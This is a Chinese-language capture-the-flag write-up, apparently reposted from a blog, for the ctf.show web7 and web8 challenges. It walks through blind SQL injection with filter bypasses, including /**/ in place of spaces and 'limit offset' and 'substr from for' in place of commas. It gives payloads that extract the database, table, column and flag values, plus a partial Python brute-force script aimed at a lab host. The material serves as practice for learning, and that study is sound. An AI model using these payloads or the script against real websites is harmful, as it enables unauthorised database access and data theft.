CTF show WEB7-8

题目网站https://ctf.show

web7

点开其中一篇文章,发现可能存在的注入点,输入单引号正常显示,输入双引号无回显,猜测为字符型单引号注入,其中空格被过滤。

使用sleep函数测试注入点id=-1'or/**/sleep(3)#
发现存在延时证明存在注入点,通过有无文章来判断字符。接下来进行sql注入。

1.爆库名(web7)
当输入为id=-1'/**/or/**/ascii(substr(database(),1,1))=119#时出现文章内容,证明库名的第一个字符为‘w’,以此类推。

2.爆表名(flag,page,user)

id=-1'/**/or/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),1,1))=102#

3.爆字段(flag)
id=-1'/**/or/**/ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"/**/limit/**/0,1),1,1))=102#

4.爆字段值
id=-1'/**/or/**/ascii(substr((select/**/flag/**/from/**/flag/**/limit/**/0,1),1,1))=102#

附:python脚本

url = "http://124.156.121.112:28069/?id=-1'/**/"
def db(url):					#爆库名
    for i in range(1,5):
        for j in range(32,128):
            u= "or/**/ascii(substr(database()/**/from/**/"+str(i)+"/**/for/**/1))="+str(j)+"#"
            s = url+u
            print(s)
            r =  requests.get(s)
            if 'By Rudyard Kipling' in r.text:
                print(chr(j))
                
def table(url):					#爆表名
    for i in range(4):
        table_name=''
        for j in range(1,6):
            for k in range(48,128):
                u=id="||/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/"+str(i)+")/**/from/**/"+str(j)+"/**/for/**/1))="+str(k)+"#"
                s = url+u
                print(s)
                r =  requests.get(s)            
                if 'By Rudyard Kipling' in r.text:
                    table_name+=chr(k)
            print(table_name)

web8

在上一题的基础上增加了逗号的过滤
绕过方法:
1.将limit 0,1样式改为limit 1 offset 0。
2.将substr(string,1,1)改为substr(string from 1 for 1)。

发布了12 篇原创文章 · 获赞 12 · 访问量 480

猜你喜欢

转载自blog.csdn.net/miuzzx/article/details/104331092